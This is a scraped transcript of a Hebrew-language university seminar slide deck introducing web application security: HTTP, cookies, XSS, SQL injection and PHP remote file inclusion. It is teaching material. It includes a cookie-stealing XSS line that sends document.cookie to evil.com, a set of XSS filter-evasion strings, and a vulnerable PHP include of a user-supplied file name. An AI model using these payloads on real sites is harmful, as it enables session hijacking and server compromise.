1 / 48

Introduction to (Web) Application Security

Introduction to (Web) Application Security. Or: things you will not learn in univerity. (ummmm…). Yoav Goldberg BGU Software Engineering and Programming Languages Seminar. שבוע שעבר. דריסת מחסנית ניצול של באג בתוכנית בשפת C כדי להריץ קוד משלך. השבוע. העולם השתנה:

mandar
Télécharger la présentation

Introduction to (Web) Application Security

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming Languages Seminar

  2. שבוע שעבר • דריסת מחסנית • ניצול של באג בתוכנית בשפת C כדי להריץ קוד משלך.

  3. השבוע • העולם השתנה: • יותר ויותר שפות High Level • שפות "מפורשנות" • ניהול זכרון אוטומטי • פחות ופחות קוד נכתב ב-C • העולם נשאר אותו הדבר: • מתכנתים עושים טעויות. • אסור לסמוך על משתמשים!

  4. השבוע • עולם השתנה: • הרבה יותר קל לתכנת. • יש הרבה יותר מתכנתים. • יש הרבה יותר טעיות. • יש הרבה יותר באגים שאפשר לנצל.

  5. השבוע • סקירה של טכנולוגיית Web. • דוגמאות לבאגים נפוצים וכיצד משתמשים רעים יכולים לנצל אותם.

  6. מבוא קצרצר לטכנולוגיות WEB • אני מניח שאתם יודעים מה הם: • TCP/IP • אתר אינטרנט • URL • Domain Name אבל מי שלא יודע שלא יתבייש לשאול (למרות שהוא כנראה חי בעולם אחר משלנו)

  7. הבסיס: HTTP • הלקוח שולח בקשה לשרת. השרת מחזיר תשובה. • 5 סוגי בקשות (GET, POST, HEAD, PUT, DEL). • נתמקד בבקשת GET.

  8. GET /~yoavg/uni HTTP/1.1 User-Agent: Opera/9.21 (Windows NT 5.1; U; en) Host: www.cs.bgu.ac.il Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: en-US,en;q=0.9 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 Pragma: no-cache Cache-Control: no-cache Connection: Keep-Alive

  9. HTTP/1.1 200 OK Date: Tue, 28 Aug 2007 09:07:56 GMT Server: Apache/2.0.54 (Unix) mod_ssl/2.0.54 OpenSSL/0.9.7d mod_jk/1.2.14 Last-Modified: Sun, 29 Jul 2007 09:17:19 GMT Content-Length: 985 Content-Type: text/html <html> <META http-equiv="Content-Type" content="text/html; charset=cp1255"> <head> <title>Yoav Goldberg</title> </head> <body> <center> <h1> Yoav Goldberg </h1> <h2> A <a href=brilliant.html>brilliant</a> <a ….

  10. HTTP/1.1 200 OK Date: Tue, 28 Aug 2007 09:07:56 GMT Server: Apache/2.0.54 (Unix) mod_ssl/2.0.54 OpenSSL/0.9.7d mod_jk/1.2.14 Last-Modified: Sun, 29 Jul 2007 09:17:19 GMT Content-Length: 985 Content-Type: text/html <html> <META http-equiv="Content-Type" content="text/html; charset=cp1255"> <head> <title>Yoav Goldberg</title> </head> <body> <center> <h1> Yoav Goldberg </h1> <h2> A <a href=brilliant.html>brilliant</a> <a …. זה כתוב בשפת HTML

  11. HTML • שפה לייצוג של מידע. • משמשת להגדרת מבנה ותוכן של עמודי אינטרנט. • דפדפנים יודעים לפרש אותה ולהציג תוכן גרפי בהתאם.

  12. דפי אינטרנט דינמיים • מה שראינו עד כה היה סטטי – השרת ניגש לקובץ בדיסק ומחזיר את תוכנו. • זה קצת משעמם. • השלב הבא, תוכן דינמי: • השרת מקבל בקשה מהלקוח. • השרת מעביר את הבקשה כקלט לתוכנה. • התוכנה מבצעת חישוב ומחזירה פלט. • השרת מחזיר את הפלט למשתמש. • טכנולוגית: CGI, ASP/PHP, …

  13. דוגמה פשוטה

  14. מסדי נתונים • בדוגמה שלנו כל התשובות היו מקודדות בגוף התוכנית. • כמובן שאפשר גם לקרוא/לכתוב לקבצים. • או לתקשר עם מסד נתונים באמצעות שפת SQL.

  15. האפשרויות כמעט בלתי מוגבלות • ספר-אורחים. • ספר טלפון. • מנוע חיפוש. • בלוג. • Wiki. • ...

  16. אבל משהו עדיין חסר • פרוטוקול HTTP הוא פרוטוקול Stateless. • באמצעות המודל שראינו עד עכשיו יהיה קשה לממש תוכנה שיש לה יותר ממצב אחד (לדוגמה Webmail). • הפתרון: Cookies • "עוגיות" הן פרטי מידע שהשרת שומר אצל הלקוח. הלקוח מבחינתו שולח אותן בחזרה לשרת בכל בקשה. • על פי ערך העוגיה, השרת יודע מי פונה אליו ומגיב בהתאם.

  17. C is for cookie • עוגיות + שפות-צד-שרת = אפליקציות Web. • במרבית האפליקציות, העוגיה מזהה באופן ייחודי את המשתמש. • פסאודו-קוד לעמוד בתוכנת Webmail..

  18. אז מה ראינו... • HTTP. • HTML. • דפים דינמיים. • שימוש במסדי נתונים. • עוגיות.

  19. DHTML+Javascript "אין מספיק מקומות שמריצים קוד, בואו נספק יכולת הרצת קוד גם לדפדפן!" • DOM: תקן המייצג את העמוד המוצג בדפדפן כהיררכיה של אובייקטים. • דפי HTML יכולים להכיל קוד שפועל על האובייקטים האלו. • הדפדפן יודע לפרש את הקוד הזה. • שפות: VBScript / Javascript

  20. דוגמה...

  21. DHTML / Javascript • משמש בעיקר לממשקים נוחים יותר: • תפריטים • Form Validation • הודעות יפות למשתמש • באנרים קופצים ופרסומות מאאגניבות.

  22. אפליקציית Web דפדפן שרת WEB מסד נתונים משתמש דפדפן משתמש

  23. מריץ קוד אפליקציית Web מריץ קוד דפדפן שרת WEB מסד נתונים משתמש דפדפן מריץ קוד משתמש

  24. XSS תקיפה ראשונה דפדפן שרת WEB מסד נתונים משתמש דפדפן משתמש

  25. XSS • אפליקציות Web מקבלות מהמשתמש מידע, מעבדות אותו, ומציגות אותו חזרה למשתמש. • זה יכול להיות מסוכן...

  26. XSS • אוקיי, אז גרמתי לדפדפן של עצמי להריץ קוד שהאתר החזיר לי. אז מה? • אפשר לגרום גם לדפדפן של מישהו אחר להריץ את אותו הקוד.

  27. XSS • אוקיי, אני יכול להריץ קוד בדפדפן של משתמש אחר. אז??

  28. XSS • אוקיי, אני יכול להריץ קוד בדפדפן של משתמש אחר. אז?? • הקוד אצל המשתמש האחר רץ בקונטקסט של האתר הפגיע. אז אפשר לקרוא את העוגיה שלו באתר זה: <script>alert(document.cookie)</script>

  29. XSS • אוקיי, אני יכול להריץ קוד בדפדפן של משתמש אחר. אז?? • הקוד אצל המשתמש האחר רץ בקונטקסט של האתר הפגיע. אז אפשר לקרוא את העוגיה שלו באתר זה: <script>alert(document.cookie)</script> • אבל הקוד הזה רק מציג חלון עם העוגיה. איך אני מקבל את הערך שלה? <img id=i width=0 height=0> <script>i.src=“http://evil.com/log.php?c=“+document.cookie</script>

  30. XSS • ההתקפה הכי נפוצה: • קבלת העוגיה של משתמש אחר באתר. • יש גם דברים מתחכמים יותר: • xss-proxy

  31. XSS • לקח: • אם הפלט מכיל גם קלט ממשתמש, לסנן אותו לפני ההצגה. • קל להגיד, קשה לעשות

  32. איזו מהמחרוזות הבאות לא מריצה קוד? <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> <IMG SRC="jav ascript:alert('XSS');"> <<SCRIPT>alert("XSS");//<</SCRIPT> <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

  33. SQL Injection תקיפה שניה דפדפן שרת WEB מסד נתונים משתמש דפדפן משתמש

  34. SQL Injection • נניח שלא הצלחנו לבצע XSS כדי לגנוב עוגיה, ואנחנו ממש רוצים להתחבר לאתר שאין לנו ססמה אליו. • תזכורת: ככה עובדים הרבה מנגנוני Login (גרועים).

  35. SQL Injection • היי, טריק נחמד. • אפשר לעשות עוד דברים עם ה-SQL Injection הזה? • בטח!

  36. PHP Remote File Inclusion תקיפה שלישית דפדפן שרת WEB מסד נתונים משתמש דפדפן משתמש

  37. PHP File Inclusion • אנחנו יודעים לגנוב עוגיות כדי להתחזות למישהו אחר (וגם לשלוט לגמרי בדפדפן של משתמש). • ואנחנו יודעים להכנס לאתרים למרות שאין לנו ססמה, וגם לקרוא מסדי נתונים שאין לנו גישה אליהם. • מה עוד אפשר לבקש??

  38. הרעיון • ב-PHP קיימת הפקודה “include” המאפשרת לכלול תוכן של קובץ: <?php include(“afile.php”); ?> • הקובץ יכול להיות גם על מחשב מרוחק: <?php include(“http://bla.com/bla/bla.txt”) ?>

  39. הרעיון • מתכנת לא זהיר יכול לבצע משהו כזה: <?php include($file_name) ?>

  40. דוגמה מתוכנה אמיתית

  41. אז מה עושים? • ברמת המתכנת – נזהרים. • ברמת הפלטפורמה?? פתרונות חלקיים: • Perl taint • magic_quotes_on • don’t open remote files in php..

  42. זהו, נגמר.

More Related